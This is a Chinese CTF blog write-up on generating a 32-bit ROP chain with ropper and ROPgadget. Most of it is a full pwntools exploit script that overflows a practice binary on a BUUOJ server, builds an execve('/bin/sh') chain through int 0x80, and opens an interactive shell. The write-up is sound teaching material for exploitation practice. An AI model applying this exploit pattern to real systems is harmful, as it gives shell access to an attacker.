使用ROPgadget、ropper工具构建ropchain

Thursday, December 29, 2022
本文共911字
2分钟阅读时长

⚠️本文是作者P3troL1er原创,首发于https://peterliuzhi.top/tricks/%E4%BD%BF%E7%94%A8ropgadgetropper%E5%B7%A5%E5%85%B7%E6%9E%84%E5%BB%BAropchain/。商业转载请联系作者获得授权,非商业转载请注明出处!

The extreme limit of wisdom, that’s what the public calls madness. — Jean Cocteau

查看程序架构

文内图片

ida伪代码

文内图片

exp

这题手工构造ropchain比较困难,但是我们可以利用ropper或者ROPgadget的ropchain功能来生成:

ropper

文内图片 文内图片

ROPgadget

文内图片 文内图片 文内图片

exp

需要注意的是,工具生成的代码和我们日常使用的代码格式和风格上都有一定差距,从struct包中导入的pack函数也会和pwntools中的pack起冲突,如果一定要使用struct的pack,就在导入pwntools后再导入struct,这样就可以覆盖掉pack

# 自动生成头部
from pwn import *
from pwn import p64, p32, u32, u64, p8
from LibcSearcher import LibcSearcher
import ctypes
from struct import pack

pss: bool = True
fn: str = "./rop"
libc_name: str = ""
port: str = "27311"
if_32: bool = True
if_debug: bool = False
pg = p32 if if_32 else p64
ug = u32 if if_32 else u64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
context.terminal = ["tmux", "splitw", "-h"]
env = {"LD_PRELOAD": libc_name}
if pss:
    p = remote("node4.buuoj.cn", port)
else:
    if if_debug:
        p = gdb.debug(fn, """
                        break main
                        c
                        """)
    else:
        p = process(fn)
# 两个elf,注意libc的版本
m_elf = ELF(fn)
# libc = ELF(libc_name)


def suclog(**kwargs):
    for k, v in kwargs.items():
        if isinstance(v, int):
            success(f"{k} => {hex(v)}")
        else:
            success(f"{k} => {v}")


def send_after_clean(content: bytes = b"", until: bytes = None,
                     timeout: float = 0.05, no_show: bool = False) -> bytes:
    if until is not None:
        p.recvuntil(flat(until))
    received = p.clean(timeout)
    if not no_show:
        info(f"received:\n{received.decode('UTF-8')}")
    p.send(flat(content))
    return received


def sendline_after_clean(content: bytes = b"", until: bytes = None,
                         timeout: float = 0.05, no_show: bool = False) -> bytes:
    send_after_clean([content, p.newline], until, timeout, no_show)


def interactive_after_clean(timeout: int = 0.05, no_show: bool = False):
    received = p.clean(timeout)
    if not no_show:
        info(f"received:\n{received.decode('UTF-8')}")
    p.interactive()


def c_val(value: int, c_type: string) -> bytes:
    type_dict = {
        "long": ctypes.c_long,
        "longlong": ctypes.c_longlong,
        "ulong": ctypes.c_ulong,
        "ulonglong": ctypes.c_ulonglong,
        "int8": ctypes.c_int8,
        "int16": ctypes.c_int16,
        "int32": ctypes.c_int32,
        "int64": ctypes.c_int64,
        "uint8": ctypes.c_uint8,
        "uint16": ctypes.c_uint16,
        "uint32": ctypes.c_uint32,
        "uint64": ctypes.c_uint64,
        "int": ctypes.c_int,
        "char": ctypes.c_char,
        "bool": ctypes.c_bool,
        "float": ctypes.c_float,
        "double": ctypes.c_double,
        "ushort": ctypes.c_ushort,
        "byte": ctypes.c_byte,
        "longdouble": ctypes.c_longdouble,
        "size_t": ctypes.c_size_t,
        "ssize_t": ctypes.c_ssize_t,
        "ubyte": ctypes.c_ubyte
    }
    try:
        return bytes(str(type_dict[c_type](value).value), encoding="UTF-8")
    except:
        try:
            return bytes(str(eval(f"ctypes.c_{c_type}(value).value")), encoding="UTF-8")
        except:
            error(f"无法转换{value}或不存在类型{c_type}")


def load_libc(libc_name: str, *args, **kwargs) -> ctypes.CDLL:
    return ctypes.CDLL(libc_name, args, kwargs)


def recv_and_transform(prev_string: str = None, from_bytes: bool = True,
                       is_canary: bool = False, bound: str = None) -> int:
    if prev_string is not None:
        p.recvuntil(flat(prev_string))
    if bound is not None:
        bound = flat(bound)
    if from_bytes:
        if bound is not None:
            return ug(p.recvuntil(bound)[:-len(bound)])
        if if_32:
            return ug(p.recv(4))
        else:
            if is_canary:
                return ug(p.recv(7).rjust(8, b"\x00"))
            else:
                return ug(p.recv(6).ljust(8, b"\x00"))
    else:
        if bound is not None:
            return int(p.recvuntil(bound)[:-len(bound)], 16)
        else:
            if if_32:
                return int(p.recv(10), 16)
            else:
                if is_canary:
                    return int(p.recv(18), 16)
                else:
                    return int(p.recv(14), 16)


def formula_compute(formula: bytes, precise: bool = False):
    if isinstance(formula, bytes):
        formula = formula.decode("UTF-8")
    formula = formula.strip()
    formula = formula.strip("\n")
    formula = formula.replace("x", "*")
    formula = formula.replace("^", "**")
    formula = formula.replace("÷", "/")
    if not precise:
        formula = formula.replace("//", "/")
        formula = formula.replace("/", "//")
    return bytes(str(eval(formula)), encoding="UTF-8")


...

# 需要自行设定offset
offset: int = 0xC + 4
# Generated by ropper ropchain generator #

# 487729c3b55aaec43deb2af4c896b16f9dbd01f7e484054d1bb7f24209e2d3ae
IMAGE_BASE_0 = 0x08048000
def rebase_0(x): return pg(x + IMAGE_BASE_0)


rop = b''

rop += rebase_0(0x00070016)  # 0x080b8016: pop eax; ret;
rop += b'/bin'
rop += rebase_0(0x00026cda)  # 0x0806ecda: pop edx; ret;
rop += rebase_0(0x000a2060)
rop += rebase_0(0x0000c66b)  # 0x0805466b: mov dword ptr [edx], eax; ret;
rop += rebase_0(0x00070016)  # 0x080b8016: pop eax; ret;
rop += b'/sh\x00'
rop += rebase_0(0x00026cda)  # 0x0806ecda: pop edx; ret;
rop += rebase_0(0x000a2064)
rop += rebase_0(0x0000c66b)  # 0x0805466b: mov dword ptr [edx], eax; ret;
rop += rebase_0(0x00070016)  # 0x080b8016: pop eax; ret;
rop += pg(0x00000000)
rop += rebase_0(0x00026cda)  # 0x0806ecda: pop edx; ret;
rop += rebase_0(0x000a2068)
rop += rebase_0(0x0000c66b)  # 0x0805466b: mov dword ptr [edx], eax; ret;
rop += rebase_0(0x000001c9)  # 0x080481c9: pop ebx; ret;
rop += rebase_0(0x000a2060)
rop += rebase_0(0x00096769)  # 0x080de769: pop ecx; ret;
rop += rebase_0(0x000a2068)
rop += rebase_0(0x00026cda)  # 0x0806ecda: pop edx; ret;
rop += rebase_0(0x000a2068)
rop += rebase_0(0x00070016)  # 0x080b8016: pop eax; ret;
rop += pg(0x0000000b)
rop += rebase_0(0x00027430)  # 0x0806f430: int 0x80; ret;

payload = flat({offset: rop})

sendline_after_clean(payload)

interactive_after_clean()